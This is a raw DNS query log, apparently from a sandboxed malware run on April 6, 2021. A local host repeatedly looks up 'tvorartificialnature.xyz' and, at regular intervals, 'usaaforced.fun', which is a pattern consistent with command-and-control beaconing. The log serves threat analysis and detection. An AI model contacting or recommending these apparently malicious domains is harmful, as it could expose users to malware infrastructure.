Apr 6, 2021 19:41:24.551374912 CEST	192.168.2.22	8.8.8.8	0x1119	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:24.732578039 CEST	192.168.2.22	8.8.8.8	0x7ceb	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:24.924892902 CEST	192.168.2.22	8.8.8.8	0x35bc	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:25.095232010 CEST	192.168.2.22	8.8.8.8	0x254e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:25.280431032 CEST	192.168.2.22	8.8.8.8	0xb15d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:25.301245928 CEST	192.168.2.22	8.8.8.8	0xb72c	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:25.441634893 CEST	192.168.2.22	8.8.8.8	0xda30	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:25.618417978 CEST	192.168.2.22	8.8.8.8	0xa64e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:25.794322014 CEST	192.168.2.22	8.8.8.8	0xe5bd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:25.957216024 CEST	192.168.2.22	8.8.8.8	0xea8f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:26.137743950 CEST	192.168.2.22	8.8.8.8	0xb9ff	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:26.324309111 CEST	192.168.2.22	8.8.8.8	0xc5fa	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:26.495451927 CEST	192.168.2.22	8.8.8.8	0x64dd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:26.667473078 CEST	192.168.2.22	8.8.8.8	0xd3b8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:26.830764055 CEST	192.168.2.22	8.8.8.8	0x617f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:27.008945942 CEST	192.168.2.22	8.8.8.8	0x27ad	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:27.186259031 CEST	192.168.2.22	8.8.8.8	0xcde4	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:27.370954037 CEST	192.168.2.22	8.8.8.8	0x4470	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:27.535157919 CEST	192.168.2.22	8.8.8.8	0x72b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:27.703541040 CEST	192.168.2.22	8.8.8.8	0xf911	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:27.787216902 CEST	192.168.2.22	8.8.8.8	0x4daa	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:27.885015011 CEST	192.168.2.22	8.8.8.8	0x7123	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:28.057285070 CEST	192.168.2.22	8.8.8.8	0x35be	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:28.219871044 CEST	192.168.2.22	8.8.8.8	0x6127	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:28.393731117 CEST	192.168.2.22	8.8.8.8	0xcd1e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:28.561759949 CEST	192.168.2.22	8.8.8.8	0xc6fe	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:28.747831106 CEST	192.168.2.22	8.8.8.8	0x287a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:28.921641111 CEST	192.168.2.22	8.8.8.8	0xe107	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:29.105408907 CEST	192.168.2.22	8.8.8.8	0xe77f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:29.283319950 CEST	192.168.2.22	8.8.8.8	0x9ef6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:29.461411953 CEST	192.168.2.22	8.8.8.8	0x6e4d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:29.644052982 CEST	192.168.2.22	8.8.8.8	0x63e2	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:29.817281008 CEST	192.168.2.22	8.8.8.8	0x145d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:29.987284899 CEST	192.168.2.22	8.8.8.8	0xc48f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:30.153901100 CEST	192.168.2.22	8.8.8.8	0x455d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:30.258014917 CEST	192.168.2.22	8.8.8.8	0x6ff7	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:30.331140995 CEST	192.168.2.22	8.8.8.8	0x4a17	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:30.496543884 CEST	192.168.2.22	8.8.8.8	0x9b74	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:30.669172049 CEST	192.168.2.22	8.8.8.8	0x36fb	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:30.850171089 CEST	192.168.2.22	8.8.8.8	0x2886	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:31.015361071 CEST	192.168.2.22	8.8.8.8	0x32cb	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:31.188389063 CEST	192.168.2.22	8.8.8.8	0x28ec	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:31.372765064 CEST	192.168.2.22	8.8.8.8	0xd6aa	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:31.542323112 CEST	192.168.2.22	8.8.8.8	0xd93b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:31.711781979 CEST	192.168.2.22	8.8.8.8	0x96f0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:31.886353970 CEST	192.168.2.22	8.8.8.8	0x2deb	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:32.066939116 CEST	192.168.2.22	8.8.8.8	0x3618	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:32.235296965 CEST	192.168.2.22	8.8.8.8	0x6ab6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:32.404396057 CEST	192.168.2.22	8.8.8.8	0x739f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:32.572284937 CEST	192.168.2.22	8.8.8.8	0x65e1	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:32.738152981 CEST	192.168.2.22	8.8.8.8	0x71	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:32.751019001 CEST	192.168.2.22	8.8.8.8	0xac3e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:32.929153919 CEST	192.168.2.22	8.8.8.8	0xc50e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:33.117398024 CEST	192.168.2.22	8.8.8.8	0xeaff	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:33.289439917 CEST	192.168.2.22	8.8.8.8	0x9124	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:33.461740017 CEST	192.168.2.22	8.8.8.8	0x8797	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:33.639674902 CEST	192.168.2.22	8.8.8.8	0x198c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:33.807697058 CEST	192.168.2.22	8.8.8.8	0x49ba	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:33.981548071 CEST	192.168.2.22	8.8.8.8	0x22ee	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:34.145898104 CEST	192.168.2.22	8.8.8.8	0xa823	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:34.318636894 CEST	192.168.2.22	8.8.8.8	0xccf3	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:34.507668972 CEST	192.168.2.22	8.8.8.8	0xfa6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:34.692807913 CEST	192.168.2.22	8.8.8.8	0x3f2c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:34.871004105 CEST	192.168.2.22	8.8.8.8	0x1583	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:35.039463043 CEST	192.168.2.22	8.8.8.8	0xc42f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:35.208239079 CEST	192.168.2.22	8.8.8.8	0x1cfa	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:35.240052938 CEST	192.168.2.22	8.8.8.8	0x51c9	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:35.387237072 CEST	192.168.2.22	8.8.8.8	0x49e7	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:35.558904886 CEST	192.168.2.22	8.8.8.8	0xbae6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:35.752496958 CEST	192.168.2.22	8.8.8.8	0x17cf	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:35.925976038 CEST	192.168.2.22	8.8.8.8	0xf516	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:36.118633032 CEST	192.168.2.22	8.8.8.8	0x80cf	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:36.292414904 CEST	192.168.2.22	8.8.8.8	0x18e7	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:36.481683969 CEST	192.168.2.22	8.8.8.8	0x897c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:36.643908024 CEST	192.168.2.22	8.8.8.8	0x386a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:36.822690010 CEST	192.168.2.22	8.8.8.8	0x6c82	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:37.000436068 CEST	192.168.2.22	8.8.8.8	0x1ed	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:37.182092905 CEST	192.168.2.22	8.8.8.8	0xa6c7	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:37.361128092 CEST	192.168.2.22	8.8.8.8	0xd02e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:37.541094065 CEST	192.168.2.22	8.8.8.8	0x5206	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:37.710969925 CEST	192.168.2.22	8.8.8.8	0x8d05	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:37.740159988 CEST	192.168.2.22	8.8.8.8	0xa2d6	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:37.880527020 CEST	192.168.2.22	8.8.8.8	0xfd53	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:38.055442095 CEST	192.168.2.22	8.8.8.8	0x1c19	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:38.231935024 CEST	192.168.2.22	8.8.8.8	0x9022	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:38.410808086 CEST	192.168.2.22	8.8.8.8	0x857b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:38.585251093 CEST	192.168.2.22	8.8.8.8	0x9839	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:38.766978025 CEST	192.168.2.22	8.8.8.8	0x7f25	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:38.941181898 CEST	192.168.2.22	8.8.8.8	0x61fd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:39.112678051 CEST	192.168.2.22	8.8.8.8	0x14ec	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:39.282681942 CEST	192.168.2.22	8.8.8.8	0x6a3c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:39.457170010 CEST	192.168.2.22	8.8.8.8	0x3bc6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:39.630173922 CEST	192.168.2.22	8.8.8.8	0x8f9e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:39.825129986 CEST	192.168.2.22	8.8.8.8	0xe696	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:40.000956059 CEST	192.168.2.22	8.8.8.8	0xe335	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:40.172559023 CEST	192.168.2.22	8.8.8.8	0x247e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:40.214056969 CEST	192.168.2.22	8.8.8.8	0x380d	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:40.359015942 CEST	192.168.2.22	8.8.8.8	0x62f9	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:40.534010887 CEST	192.168.2.22	8.8.8.8	0xcabc	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:40.702989101 CEST	192.168.2.22	8.8.8.8	0x4d50	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:40.875945091 CEST	192.168.2.22	8.8.8.8	0x6bc6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:41.042663097 CEST	192.168.2.22	8.8.8.8	0x3137	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:41.222238064 CEST	192.168.2.22	8.8.8.8	0xbc67	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:41.388003111 CEST	192.168.2.22	8.8.8.8	0x85c0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:41.580270052 CEST	192.168.2.22	8.8.8.8	0x8d87	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:41.743751049 CEST	192.168.2.22	8.8.8.8	0xe64b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:41.918474913 CEST	192.168.2.22	8.8.8.8	0xf739	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:42.089689016 CEST	192.168.2.22	8.8.8.8	0xec1a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:42.268546104 CEST	192.168.2.22	8.8.8.8	0x21cb	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:42.459191084 CEST	192.168.2.22	8.8.8.8	0xfd68	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:42.635087967 CEST	192.168.2.22	8.8.8.8	0x12ce	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:42.697537899 CEST	192.168.2.22	8.8.8.8	0x3d88	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:42.809505939 CEST	192.168.2.22	8.8.8.8	0x985e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:42.985759020 CEST	192.168.2.22	8.8.8.8	0xe458	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:43.167711020 CEST	192.168.2.22	8.8.8.8	0x4957	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:43.347996950 CEST	192.168.2.22	8.8.8.8	0x4311	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:43.516514063 CEST	192.168.2.22	8.8.8.8	0x99f4	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:43.686568022 CEST	192.168.2.22	8.8.8.8	0x5e66	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:43.873802900 CEST	192.168.2.22	8.8.8.8	0x6d5b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:44.046056032 CEST	192.168.2.22	8.8.8.8	0xde3d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:44.231795073 CEST	192.168.2.22	8.8.8.8	0x9319	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:44.420497894 CEST	192.168.2.22	8.8.8.8	0x62e1	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:44.593274117 CEST	192.168.2.22	8.8.8.8	0x254d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:44.807972908 CEST	192.168.2.22	8.8.8.8	0xa1a0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:44.980998993 CEST	192.168.2.22	8.8.8.8	0xa2c5	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:45.175157070 CEST	192.168.2.22	8.8.8.8	0xf6f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:45.178374052 CEST	192.168.2.22	8.8.8.8	0xb1ee	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:45.344500065 CEST	192.168.2.22	8.8.8.8	0x1994	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:45.509224892 CEST	192.168.2.22	8.8.8.8	0x3d16	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:45.684644938 CEST	192.168.2.22	8.8.8.8	0xa9e0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:45.854659081 CEST	192.168.2.22	8.8.8.8	0xd24a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:46.038533926 CEST	192.168.2.22	8.8.8.8	0x4696	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:46.214569092 CEST	192.168.2.22	8.8.8.8	0x16f8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:46.388583899 CEST	192.168.2.22	8.8.8.8	0x5865	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:46.555455923 CEST	192.168.2.22	8.8.8.8	0x8a67	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:46.740439892 CEST	192.168.2.22	8.8.8.8	0x1541	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:46.916064978 CEST	192.168.2.22	8.8.8.8	0x4e2a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:47.091413975 CEST	192.168.2.22	8.8.8.8	0x669	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:47.258725882 CEST	192.168.2.22	8.8.8.8	0x3f2c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:47.439785957 CEST	192.168.2.22	8.8.8.8	0x20d0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:47.624753952 CEST	192.168.2.22	8.8.8.8	0x473a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:47.651710033 CEST	192.168.2.22	8.8.8.8	0x1ae3	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:47.816479921 CEST	192.168.2.22	8.8.8.8	0xf572	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:47.998686075 CEST	192.168.2.22	8.8.8.8	0x88e7	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:48.179426908 CEST	192.168.2.22	8.8.8.8	0x213c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:48.359253883 CEST	192.168.2.22	8.8.8.8	0x4a7e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:48.546627045 CEST	192.168.2.22	8.8.8.8	0x7753	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:48.722621918 CEST	192.168.2.22	8.8.8.8	0xdf4d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:48.891386986 CEST	192.168.2.22	8.8.8.8	0x1dbd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:49.129231930 CEST	192.168.2.22	8.8.8.8	0x1789	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:49.300970078 CEST	192.168.2.22	8.8.8.8	0xf1db	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:49.526261091 CEST	192.168.2.22	8.8.8.8	0x7d5e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:49.690749884 CEST	192.168.2.22	8.8.8.8	0x9332	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:49.863229036 CEST	192.168.2.22	8.8.8.8	0x1c77	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:50.107207060 CEST	192.168.2.22	8.8.8.8	0x6ad9	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:50.285933018 CEST	192.168.2.22	8.8.8.8	0x86a3	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:50.473699093 CEST	192.168.2.22	8.8.8.8	0xfdc2	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:50.642610073 CEST	192.168.2.22	8.8.8.8	0x997a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:50.853461981 CEST	192.168.2.22	8.8.8.8	0x472e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:51.018630981 CEST	192.168.2.22	8.8.8.8	0x3fc9	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:51.191353083 CEST	192.168.2.22	8.8.8.8	0x3951	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:51.426769018 CEST	192.168.2.22	8.8.8.8	0x3392	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:51.611341000 CEST	192.168.2.22	8.8.8.8	0xf6d8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:51.797532082 CEST	192.168.2.22	8.8.8.8	0x29b8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:51.835012913 CEST	192.168.2.22	8.8.8.8	0x7b23	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:51.989937067 CEST	192.168.2.22	8.8.8.8	0xc4da	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:52.153104067 CEST	192.168.2.22	8.8.8.8	0x91f6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:52.330782890 CEST	192.168.2.22	8.8.8.8	0x6275	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:52.501183033 CEST	192.168.2.22	8.8.8.8	0xcd8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:52.677786112 CEST	192.168.2.22	8.8.8.8	0x7b20	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:52.865483999 CEST	192.168.2.22	8.8.8.8	0xd1	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:53.058445930 CEST	192.168.2.22	8.8.8.8	0xa217	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:53.228348970 CEST	192.168.2.22	8.8.8.8	0x4bff	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:53.399163008 CEST	192.168.2.22	8.8.8.8	0x86b5	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:53.579252958 CEST	192.168.2.22	8.8.8.8	0x8d4	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:53.757285118 CEST	192.168.2.22	8.8.8.8	0xab16	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:53.943454981 CEST	192.168.2.22	8.8.8.8	0xd5ca	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:54.099431038 CEST	192.168.2.22	8.8.8.8	0x9766	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:54.286556005 CEST	192.168.2.22	8.8.8.8	0x3795	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:54.476528883 CEST	192.168.2.22	8.8.8.8	0x6013	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:54.651874065 CEST	192.168.2.22	8.8.8.8	0x20be	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
